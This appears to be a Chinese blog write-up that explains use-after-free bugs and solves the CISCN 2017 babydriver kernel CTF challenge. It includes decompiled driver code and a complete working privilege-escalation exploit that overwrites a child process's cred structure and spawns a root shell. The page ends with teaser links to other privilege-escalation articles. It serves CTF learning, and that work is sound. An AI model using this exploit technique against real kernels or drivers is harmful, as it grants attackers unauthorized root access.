关键词：
文章目录
前言
自 2021 年 11 月从国企离职并入职互联网私企后，发现博客很少更新了……自然不是因为开始躺平了（菜鸡的学习之路还很漫长…），而是新的平台充满挑战，需要学习的东西实在太多了（所以一直加班中…），加上很多内部学习材料和内容不可在公司外网传播，所以就很少写 CSDN 博文了。但是稍有时间还是要保持写博文习惯的hh，个人觉得这不仅是对个人技术成长路线的记录，也是一种促使自己不断保持学习状态的好习惯。
言归正传，换工作后开始从事移动终端安全的方向，最近在学习 Android 内核层和驱动的漏洞挖掘，刚好刷了一道关于内核提权的 CTF PWN 题目，颇有收益（太菜了…），在此学习记录下。
UAF漏洞
在计算机编程领域中，迷途指针（或称悬空指针、野指针），指的是不指向任何合法的对象的指针。当指针当所指向的对象被释放或者收回，但是对该指针没有作任何的修改，以至于该指针仍旧指向已经回收的内存地址，此情况下该指针便称迷途指针。若操作系统将这部分已经释放的内存重新分配给另外一个进程，而原来的程序重新引用现在的迷途指针并修改内存数据，则将产生无法预料的后果。
UAF（Use After Free）漏洞，顾名思义，指的就是当一个内存块被释放之后其指针再次被使用，可能会导致意想不到的后果。分为以下三种情况：
- 内存块被释放后，其对应的指针被设置为 NULL ， 然后再次使用，自然程序会崩溃；
- 内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转；
- 内存块被释放后，其对应的指针没有被设置为 NULL，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外，一般称被释放后没有被设置为 NULL 的内存指针为悬空指针 dangling pointer。
下面通过一个简单的 C 语言程序来直观地感受下 UAF 漏洞：
#include <stdio.h>
#include <string.h>
int main()
char *p1;
p1 = (char *) malloc(sizeof(char)*10); //申请内存空间
memcpy(p1,"hello",10);
printf("p1 addr:%x,%s\\n",p1,p1);
free(p1); //释放 p1 指针所指向地内存空间
char *p2;
p2 = (char *)malloc(sizeof(char)*10); //二次申请内存空间，与第一次大小相同，申请到了同一块内存，即p2=p1
memcpy(p1,"world",10); //尝试对p1指针所指向的对内存空间进行修改
printf("p2 addr:%x,%s\\n",p2,p1); //验证p2指针地址是否与p1相同，以及p1内存空间释放后是否能正常对p1指针进行读写
return 0;
运行结果如图所示：
可以看到，p1 与 p2 指针地址相同，p1 指针释放后，p2 申请相同的大小的内存时，操作系统会将之前给 p1 的地址分配给 p2，修改 p1 的内存空间，p2 也被修改了。
UAF 漏洞的原理
需要先介绍一下堆分配内存的原则，Linux 中进程分配内存的两种方式：brk 和 mmap。当程序使用 malloc 申请内存的时候，如果小于 256K，使用 brk 方式，将数据段 (.data) 的最高地址指针_edata往高地址推；如果大于 256，使用 mmap 方式，堆和栈之间找一块空闲内存分配。
应用程序调用 free() 函数来释放内存空间时，如果内存块小于 256kb， dlmalloc 并不马上将内存块释放回内存，而是将内存块标记为空闲状态。这么做的原因有两个：一是内存块不一定能马上释放会内核（比如内存块不是位于堆顶端），二是供应用程序下次申请内存使用（这是主要原因）。当 dlmalloc 中空闲内存量达到一定值时 dlmalloc 才将空闲内存释放会内核。如果应用程序释放的内存大于 256kb，dlmalloc 马上调用 munmap() 释放内存（dlmalloc 不会缓存大于 256kb 的内存块，因为这样的内存块太大了，最好不要长期占用这么大的内存资源）。
所以 UAF 漏洞简单来说，就是程序第一次申请的内存空间在释放过后没有进行内存回收，导致下次申请内存的时候再次使用该内存块，使得以前的内存指针可以访问修改过的内存。
babydriver
下面通过一道 2017 年全国大学生信息安全竞赛的 PWN 题目 babydriver 来学习下内核层驱动程序 UAF 漏洞的提权利用。题目材料 Github 获取地址：CISCN2017-babydriver。
环境搭建
来看下题目的三个附件：
CTF 比赛中的内核题目通常也都由这几个部分组成：
| 文件 | 作用 |
|---|---|
| boot.sh | qemu-system 脚本，用于启动内核虚拟机 |
| rootfs.cpio | 虚拟机的文件系统 |
| bzImage | 内核镜像 |
1、开始分析题目，先来看下 qemu 虚拟机启动脚本的内容（可以看到指定了 rootfs.cpio 作为内核启动的文件系统，同时使用 bzImage 作为 kernel 映像）：
#!/bin/bash
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
需要先安装 qemu 环境（Ubuntu 虚拟机中直接执行命令 sudo apt install qemu即可安装），然后执行./boot.sh 即可启动 qemu 虚拟机：
显然题目需要进行提权，才能获取 flag。执行 cat init 发现系统启动过程中加载了驱动文件/lib/modules/4.4.72/babydriver.ko，结合题目名称 babydriver 推断需要提取 babydriver.ko 驱动文件进行分析，借助其漏洞进行提权。
2、为了提取出 babydriver.ko 驱动程序，将题目提供的附件—— rootfs.cio 文件系统映像进行解包，写一个解包的脚本（或者手动逐条执行以下命令也可以）：
# sudo chmod a+x dec.sh
# ./dec.sh
mkdir fs
cd fs
cp ../rootfs.cpio ./rootfs.cpio.gz
gunzip ./rootfs.cpio.gz
cpio -idmv < rootfs.cpio
rm rootfs.cpio
解包后获取到的文件系统及 babydriver.ko 驱动程序如下：
漏洞分析
将 babydriver.ko 驱动程序文件拖入 IDA 64 进行逆向分析，发现 babyioctl、babayread、babyopen 等系统调用函数：
核心函数反汇编后的伪代码可汇总如下：
//释放babydev_struct
int __fastcall babyrelease(inode *inode, file *filp)
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\\n");
return 0;
//申请一块大小为 0x40 字节的空间，地址存储在全局变量babydev_struct.device_buf 上，并更新 babydev_struct.device_buf_len
int __fastcall babyopen(inode *inode, file *filp)
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\\n");
return 0;
//定义了 0x10001 的命令，可以释放全局变量 babydev_struct中的device_buf，再根据用户传递的 size 重新申请一块内存，并设置 device_buf_len
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 65537 )
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\\n");
result = 0LL;
else
printk(&unk_2EB);
result = -22LL;
return result;
//从 buffer 拷贝到全局变量中
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
v6 = v4;
copy_from_user();
result = v6;
return result;
//从全局变量拷贝到 buffer 中
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
v6 = v4;
copy_to_user(buffer);
result = v6;
return result;
逐一分析下重点函数：
- babydriver_init & babydriver_exit函数：进行的是参数设置之类的工作，可以不用太过关注，但是要知道在 init 中设置了
/dev/babydev作为设备文件，所以我们到时候可以通过open("/dev/babydev")来调用设备，从而调用这个驱动程序。 - babyopen 函数：初始化
babydev_struct结构体，这个结构体包含babydev_struct.device_buf和babydev_struct.device_buf_len两个域，分别表示内核缓冲区指针和缓冲区长度，在这个函数中会用kmem_cache_alloc_trace初始化babydev_struct.device_buf，并将babydev_struct.device_buf_len设置为 64； - babyrelease 函数：和 babyopen 函数相反，使用 kfree 函数释放指针指向的内存，注意 kfree 也会导致野指针出现；
- babyread &babywrite 函数：分别为向用户 buffer 写入
device_buf中的内容和从用户 buffer 读取内容至 device_buf，用户传递长度和缓冲区地址作为参数，只有device_buf_len超过了这个长度才可以进行拷贝或者输出（防止溢出），两者都首先进行了device_buf指针是否为空的检查，再进行后续操作； - babyioctl 函数：定义了 0x10001 的命令，可以释放全局变量
babydev_struct中的device_buf，再根据用户传递的 size 重新申请一块内存，并设置device_buf_len。
该驱动程序没有用户态传统的溢出等漏洞，但存在一个伪条件竞争引发的 UAF 漏洞。
UAF 漏洞分析
从 Linux 内存管理机制可知，所有进程内核态的变量都指向同一片物理内存，所以全局变量 babydev_struct 会被所有进程共享，并且由于 SLUB&SLAB （内核空间内存管理机制）分配器的特点，分配一块内存时会优先寻找有没有刚被释放的、同样大小的内存，所以可以尝试构造一个条件竞争造成的 UAF，尝试修改进程结构体 cred 中的 uid=gid=0，从而实现提权。
提权exp
综上所述，按照如下步骤可进行提权：
- 连续两次打开驱动设备文件，设文件描述符分别为 fd1、fd2，这个时候由于 fd1、fd2 共享内存，会导致 fd2 覆盖 fd1 分配的空间；
- 先使用 ioctl 函数修改 fd1 的
babydev_struct.dev_buf_len为 sizeof(cred)，在本题内核版本为 4.4.72 情况下，cred 结构体大小为0xa8，babydev_struct.dev_buf会被分配一块内存，由于babydev_struct被所有进程共享，所以 fd2 的babydev_struct也被修改，与 fd1 相同； - 关闭 fd1，这时 fd1 中的
babydev_struct被释放，分配的内存也被回收，但是 fd2 的babydev_struct.device_buf仍然指向这一块内存，如果使用 fd2 的 write 函数仍然可以向这一片空间写入数据（UAF 漏洞）； - 通过 fork() 函数开启一个新进程 p，p 进程的 cred 结构体在被分配空间时会优先被分配刚被释放的、与 cred 结构体大小相同的空间，即刚才 fd1 释放的
babydev_struct.device_buf指向的空间，也即现在 fd2 的babydev_struct.device_buf指向的空间，由于 fd2 还可控，所以相当于我们已经控制了 p 进程的 cred 结构体，从而可进行提权； - 将 p 进程的
cred.gid、cred.uid覆盖为 0，可以直接使用 fd2 的 write 系统调用函数写入（这里注意只需要将 28 字节的长度）。
编写 exp.c 如下：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if(pid < 0)
puts("[*] fork error!");
exit(0);
else if(pid == 0)
// 通过更改 fd2，修改新进程的 cred 的 uid，gid 等值为0
char zeros[30] = 0;
write(fd2, zeros, 28);
if(getuid() == 0)
puts("[+] root now.");
system("/bin/sh");
exit(0);
else
wait(NULL);
close(fd2);
return 0;
先编译 exp 并将其放入解包的文件系统中：
gcc exp.c -static -o ./fs/exp
然后重新打包内核启动的文件系统，生成 rootfs.img：
# sudo chmod a+x c.sh
# ./c.sh
cd fs
find . | cpio -o --format=newc > ../rootfs.img
接着更改虚拟机启动脚本 boot.sh（将内核启动的文件系统参数由 rootfs.cpio 改为 rootfs.img）：
#!/bin/bash
qemu-system-x86_64 -initrd rootfs.img -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
最后重新启动 qemu 虚拟机并运行 exp 程序，即可成功提权：
着重完成提权后，来补充下两个知识点：进程 cred 结构与 fork 函数。
cred结构
Linux kernel 需要记录每一个进程的权限信息，而这个权限信息是使用 cred 结构体记录的。每个进程中都有一个 cred 结构，这个结构保存了该进程的权限等信息（uid，gid 等），如果能修改某个进程的 cred，那么也就修改了这个进程的权限。
这个 cred 结构体不同内核版本可能会有差别（可以通过该网站进行查找），本题内核版本为 4.4.72，查看源码为：
struct cred
atomic_t usage; 0x4
#ifdef CONFIG_DEBUG_CREDENTIALS debug选项去掉
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */ 0x4
kgid_t gid; /* real GID of the task */ 0x4
kuid_t suid; /* saved UID of the task */ 0x4
kgid_t sgid; /* saved GID of the task */ 0x4
kuid_t euid; /* effective UID of the task */ 0x4
kgid_t egid; /* effective GID of the task */ 0x4
kuid_t fsuid; /* UID for VFS ops */ 0x4
kgid_t fsgid; /* GID for VFS ops */ 0x4
unsigned securebits; /* SUID-less security management */ 0x4
kernel_cap_t cap_inheritable; /* caps our children can inherit */ 0x8
kernel_cap_t cap_permitted; /* caps we're permitted */ 0x8
kernel_cap_t cap_effective; /* caps we can actually use */ 0x8
kernel_cap_t cap_bset; /* capability bounding set */ 0x8
kernel_cap_t cap_ambient; /* Ambient capability set */ 0x8
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested 0x8
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */ 0x8
struct key *process_keyring; /* keyring private to this process */ 0x8
struct key *thread_keyring; /* keyring private to this thread */ 0x8
struct key *request_key_auth; /* assumed request_key authority */ 0x8
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */ 0x8
#endif
struct user_struct *user; /* real user ID subscription */ 0x8
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ 0x8
struct group_info *group_info; /* supplementary groups for euid/fsgid */ 0x8
struct rcu_head rcu; /* RCU deletion hook */ 0x10
;
通过查找各种类型所占内存大小、对齐规则可知 cred 结构体的总大小是0xa8，一直到 gid 结束是 28 个字节。
确定该版本的 cred 结构体大小的另一种方法是自己写个简单 modules 然后编译生成 ko 驱动程序，加载到虚拟机中，printf 打印一下 sizeof(struct cred) 就能确定了：
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
MODULE_LICENSE("Dual BSD/GPL");
struct cred c1;
static int hello_init(void)
printk("<1> Hello world!\\n");
printk("size of cred : %d \\n",sizeof(c1));
return 0;
static void hello_exit(void)
printk("<1> Bye, cruel world\\n");
module_init(hello_init);
module_exit(hello_exit);
运行结果：
fork()函数
首先先接收一个观点，那就是：操作系统就是一堆进程，每一个进程都是由已有的进程创造出来的。以 Linux 操作系统为例，在启动之后第一个诞生的进程是 PID 为 0 的名叫 “idle” 的进程，后续所有的进程都是由它通过 fork() 创建的，包括我们熟知的 PID 为 1 的 “init” 进程。也许一杯咖啡的时间，等系统完全启动，我们可以登录以后，在命令行执行我们自己写的程序，这又是通过终端进程创建了新的进程。这就是在前面所说的操作系统的运行就是进程的不断创建和销毁的过程。
在 Linux 系统函数中，fork() 是用来创建新的子进程的函数。根据 Linux 编程手册，在 fork 函数执行完毕后，如果创建新进程成功，则出现两个进程，一个是子进程，一个是父进程。在子进程中，fork 函数返回0，在父进程中，fork 返回新创建子进程的进程ID。我们可以通过 fork 返回的值来判断当前进程是子进程还是父进程。
需要注意的是，在 fork 之后两个进程用的是相同的物理空间(内存区)，子进程的代码段、数据段、堆栈都是指向父进程的物理空间，也就是说，两者的虚拟空间不同，其对应的物理空间是一个。这是出于效率的考虑，在 Linux 中被称为“写时复制”（COW）技术，只有当父子进程中有更改相应段的行为发生时，再为子进程相应的段分配物理空间。
但凡是进程，都有自己的虚拟地址空间。对于 32 位的 Linux 系统而言，虚拟地址空间是从 0 到 4G 的大小（其中 0-3G 属于用户空间 3-4G 属于内核空间）。创建完子进程后，父进程继续运行（即原来的进程）的代码，刚创建出来的子进程拥有和父进程完全一样的代码段，数据段，也就是说完完全全拷贝了一份父进程，和父进程完全一样。即 clone 父进程 0-3G 用户空间的内容，而 3-4G 的内核空间只需要重新映射一下到物理地址的 kernel 即可。
但是操作系统要如何区分这两个进程呢？答案就是进程 ID，即 pid。pid 是存储在 PCB（Process Control Block，为了描述控制进程的运行，系统中存放进程的管理和控制信息的数据结构称为进程控制块） 当中的类似身份证的东西。子进程会 clone 父进程的 PCB 到子进程，但是 PCB 里的 pid 会从操作系统中获取，得到新的 pid。
总结
Android 内核层驱动程序涉及到的知识点很多，如 Linux 内核架构、驱动程序编写、字符设备程序、Linux 内存管理、Linux 系统调用、mmap 内存映射、驱动程序攻击面等等，此处不一一开展……过往的工作经历基本上都是碎片化的学习，很少静下心来系统性学习和研究一个方向，在此感谢下新单位给予了一个静心成长和沉淀的环境。还是那句话，安全路很长……希望在未来 1-2 年自己也能在移动终端安全、二进制安全方向建立较为完整的知识体系并独当一面吧。
windows提权第一篇-内核溢出漏洞提权(代码片段)
...为什么需要提权Windows提权的常见方法Windows系统常见命令内核溢出漏洞提权IIS权限拿shell提权过程信息收集提权apsx提权为什么需要提权读取/写入敏感文件重新启动之后权限维持插入永久后门Windows提权的常见方法1.内核漏洞2.错误... 查看详情
cve-2022-0847linux内核提权漏洞分析(代码片段)
...e系统调用2.3漏洞利用流程总结前言2022年2月23日，Linux内核发布漏洞补丁，修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847)，该漏洞可导致普通用户本地提权至root特权，因为 查看详情
cve-2022-0847linux内核提权漏洞分析(代码片段)
...e系统调用2.3漏洞利用流程总结前言2022年2月23日，Linux内核发布漏洞补丁，修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847)，该漏洞可导致普通用户本地提权至root特权，因为 查看详情
cve-2022-0847linux内核提权漏洞分析(代码片段)
...e系统调用2.3漏洞利用流程总结前言2022年2月23日，Linux内核发布漏洞补丁，修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847)，该漏洞可导致普通用户本地提权至root特权，因为 查看详情
操作系统权限提升(十八)之linux提权-内核提权(代码片段)
Linux内核提权Linux内核提权原理内核提权是利用Linux内核的漏洞进行提权的，内核漏洞进行提权一般包括三个环节：1、对目标系统进行信息收集，获取到系统内核信息及版本信息；2、根据内核版本获取其对应的漏... 查看详情
权限提升和维持(代码片段)
HVV笔记——权限提升和维持1Linux权限提升1.1内核提权1.1.1内核与发行版1.1.2内核漏洞1.1.3漏洞利用1.2SUDO提权1.2.1提权原理1.2.2命令的权限1.2.3权限提升1.2.4提升复现1.2.5堆缓冲区溢出漏洞1.3SUID提权1.3.1SUID权限1.3.2SUID提权原理1.3.3查找S... 查看详情
堆重启_uaf_hacknote(代码片段)
...4864859/article/details/107181869这里记录下经典的含有后门的UAF漏洞程序。//hacknote最简单的堆题目libc2.23以及含后门的UAF漏洞程序//hacknote先看第一个含有后门的UA 查看详情
软件安全实验——pre12（uaf漏洞预习）
目录标题1、名词解释：doublefree，UAF(UseAfterFree)，RELRO(RelocationReadOnly)，Danglingpointer，ControlFlowGuard2、阅读下面这三篇文章：1、名词解释：doublefree，UAF(UseAfterFree 查看详情
linux内核漏洞提权(以cve-2015-1328为例)(代码片段)
文章目录Linux内核漏洞提权拿shell提权附件Linux内核漏洞提权一般webshell拿到的权限都是web容器权限，如iis就是iss用户组权限，apache就是apache权限，可以执行普通命令，但是如果要进行内网渗透就需要拿到系统权限... 查看详情
[exp]cve-2019-0803win32k漏洞提权工具
...ows中存在特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式中运行任意代码。攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完全用户权限的新帐户。若要利用此漏洞，攻击者首先必须登录到系统。然后，... 查看详情
uaf-湖湘杯2016game_学习
...程序根据分析，我们可以得到以下重要数据结构0x01发现漏洞1.在武器使用次数耗光后，程序会把存储该武器的堆块free，在free的时候没有清空指针，造成悬挂指针2.comment存储在一个大小和武器块一样的堆块中，我们武器释放后再... 查看详情
linux提权宝典(代码片段)
...思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等，写入或执行恶意命令/脚本/shell/添加高权限用户，提权成功，然后进一步利用。二、信息收集uname-a命令看完... 查看详情
unsorted_bin_uaf(代码片段)
...。deletedelete函数主要功能就是释放堆块，存在很明显的UAF漏洞。editedit函数主要提供了两个功能，一个是有一次机会修改堆块中的内容，还有一个功能是向堆块中的指针加上一个偏移指向的地址中写入一个零字节。漏洞利用程序... 查看详情
cve-2016-7912分析报告(代码片段)
CVE-2016-7912背景介绍在内核USB驱动中,进行异步读取或写入时，调用ki_complete()，会提前释放kiocb结构体，从而造成UAF漏洞，但经过分析，发现无法利用此漏洞进行攻击。漏洞影响1.影响版本链接:https://www.securityfocus.com/bid/94197漏洞详... 查看详情
内网渗透测试理论学习之第三篇内网渗透权限提升(代码片段)
文章目录一、内核溢出漏洞二、系统配置错误1、系统服务权限配置错误2、注册表键AlwaysInstallElevated3、可信任服务路径漏洞（TrustedServicePaths）4、自动安装配置文件5、计划任务三、组策略首选项提权漏洞四、绕过UAC提权... 查看详情
bctf-2017-babyuse
...起了0CTF被babyheap支配的恐惧233。在sub_12CE函数中存在两个漏洞，一个是任意地址读，一个是UAF漏洞，所以我的思路是先泄露全局变量stdin中的值，从而计算出libc基址，然后触发UAF漏洞，跳到libc中onegadget的地址，直接起来一个shell... 查看详情
内网提权-系统篇
...rity-updates/https://portal.msrc.microsoft.com/en-us/security-guidancelinux内核提权脏牛漏洞内核版本>2.6https://github.com/SecWiki/linux-kernel-exploits 查看详情
use-after-free
0x00UAF利用原理uaf漏洞产生的主要原因是释放了一个堆块后，并没有将该指针置为NULL，这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针)，同样被释放的内存如果被恶意构造数据，就有可能会被利用。0x01 UAF漏... 查看详情